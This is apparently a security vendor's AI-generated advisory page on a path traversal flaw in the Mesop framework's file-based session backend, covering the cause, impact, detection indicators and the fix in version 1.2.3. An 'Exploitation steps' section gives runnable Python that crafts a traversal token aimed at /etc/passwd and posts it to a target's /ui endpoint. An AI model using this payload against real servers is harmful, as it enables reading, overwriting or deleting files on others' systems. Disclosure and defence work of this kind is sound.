CVE-2026-33054: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-33054 is a path traversal vulnerability in the Mesop Python UI framework's disk-based session backend (FileStateSessionBackend) that allows unauthenticated remote attackers to read, write, or delete arbitrary files on the host system. It affects all versions of mesop up to and including 1.2.2, with version 1.2.3 containing the fix. The vulnerability was published on March 17, 2026, by maintainer richard-to and added to the GitHub Advisory Database on March 18, 2026. It carries a CVSS v3.1 base score of 10.0 (Critical) per the GitHub Security Advisory, with Feedly reporting 9.8 (Critical) (GitHub Advisory, Mesop Security Advisory).

Technical details

The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), arising from the FileStateSessionBackend._make_file_path() method in mesop/server/state_session.py directly concatenating the user-supplied state_token from an incoming protobuf UserEvent message onto the session base directory path without any sanitization or validation. Python's pathlib natively resolves ../ traversal sequences, allowing the constructed path to escape the intended base_dir. The vulnerable code is: return self.base_dir / (self.prefix + token). The fix (commit c6b382f) adds a regex allowlist (^[A-Za-z0-9_-]+$) matching only secrets.token_urlsafe output, plus a resolve() and is_relative_to() check to enforce directory confinement (GitHub Advisory, Patch Commit).

Impact

Successful exploitation enables an unauthenticated network attacker to read sensitive files (e.g., /etc/passwd, application secrets, private keys), overwrite or delete arbitrary files accessible to the application process, and trigger application denial of service through crash loops when the server attempts to parse non-msgpack files as session state. The scope of impact extends beyond the application's session directory to any file readable or writable by the process running Mesop, potentially enabling privilege escalation or persistent access if writable paths such as cron jobs or authorized keys are targeted (GitHub Advisory, Mesop Security Advisory).

Exploitability

A public proof-of-concept exploit is available in the official GitHub Security Advisory, consisting of a complete, runnable Python script that crafts a malicious protobuf UserEvent message with a traversal payload (e.g., ../../../../etc/passwd) and sends it to the /ui stream endpoint. No authentication or special privileges are required. There is no confirmed evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.034–0.056%, indicating a currently low but non-negligible probability of exploitation in the near term (Mesop Security Advisory, GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify internet-facing or network-accessible Mesop instances running version ≤ 1.2.2 with FileStateSessionBackend enabled. Mesop typically listens on port 32123 by default.
  2. Compile or obtain Mesop protobufs: Obtain or compile the mesop.protos.ui_pb2 protobuf definitions from the Mesop source repository to craft valid UserEvent messages.
  3. Craft malicious payload: Create a UserEvent protobuf message with the state_token field set to a path traversal string targeting a sensitive file:
import mesop.protos.ui_pb2 as pb
user_event = pb.UserEvent()
user_event.state_token = "../../../../etc/passwd"
serialized_event = user_event.SerializeToString()
  1. Send the payload: POST the serialized protobuf to the /ui stream endpoint:
import requests
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post("http://<target>:32123/ui", data=serialized_event, headers=headers)
print(response.content)
  1. Achieve objective: Depending on the operation triggered (read/write/delete), the server will attempt to process the targeted file as a msgpack session state — causing a crash (DoS) on read of non-msgpack files, or overwriting/deleting the target file on write/delete operations, within the permissions of the Mesop process (Mesop Security Advisory, GitHub Advisory).

Indicators of compromise

  • Network: Unexpected HTTP POST requests to the /ui endpoint containing protobuf payloads with state_token values including ../, ..\, or encoded traversal sequences; requests originating from unusual or external IP addresses targeting port 32123.
  • Logs: Application error logs showing MsgpackDecodeError or similar exceptions when attempting to parse system files (e.g., /etc/passwd) as session state; repeated crash/restart cycles of the Mesop server process.
  • File System: Unexpected modification timestamps on system files (e.g., /etc/passwd, /etc/crontab, ~/.ssh/authorized_keys) coinciding with Mesop server activity; new or altered files in directories outside the configured session base_dir.
  • Process: Mesop server process entering crash loops or restarting repeatedly without clear cause, indicating DoS exploitation via non-msgpack file reads (Mesop Security Advisory).

Mitigation and workarounds

The primary remediation is to upgrade mesop to version 1.2.3 or later, which introduces token allowlist validation and path confinement checks in FileStateSessionBackend._make_file_path(). As a temporary workaround, disable the disk-based session backend (FileStateSessionBackend) in favor of an alternative session backend if available, or restrict network access to the /ui stream endpoint via firewall rules or reverse proxy ACLs. Monitoring for path traversal patterns in request logs is also recommended until patching is complete (Mesop v1.2.3 Release, Patch Commit).

Community reactions

The vulnerability was reported by security researcher liyander and patched by Mesop maintainer richard-to. Coverage appeared on The Hacker Wire shortly after disclosure. Social media discussion was observed on Mastodon and Bluesky, with community members sharing the advisory. No major vendor statements beyond the official GitHub advisory have been identified (GitHub Advisory).

Additional resources


Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-v2f8-6655-7grjCRITICAL10
  • Python logoPython
  • vibe-trading-ai
NoYesOct 02, 2026
CVE-2026-105782HIGH7.5
  • Python logoPython
  • scrapy
NoYesOct 06, 2026
GHSA-v853-p72q-4cfwHIGH7.5
  • Python logoPython
  • quart
NoYesOct 05, 2026
CVE-2026-105751MEDIUM6.9
  • Python logoPython
  • docling
NoYesOct 05, 2026
CVE-2026-105750MEDIUM5.9
  • Python logoPython
  • docling
NoYesOct 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management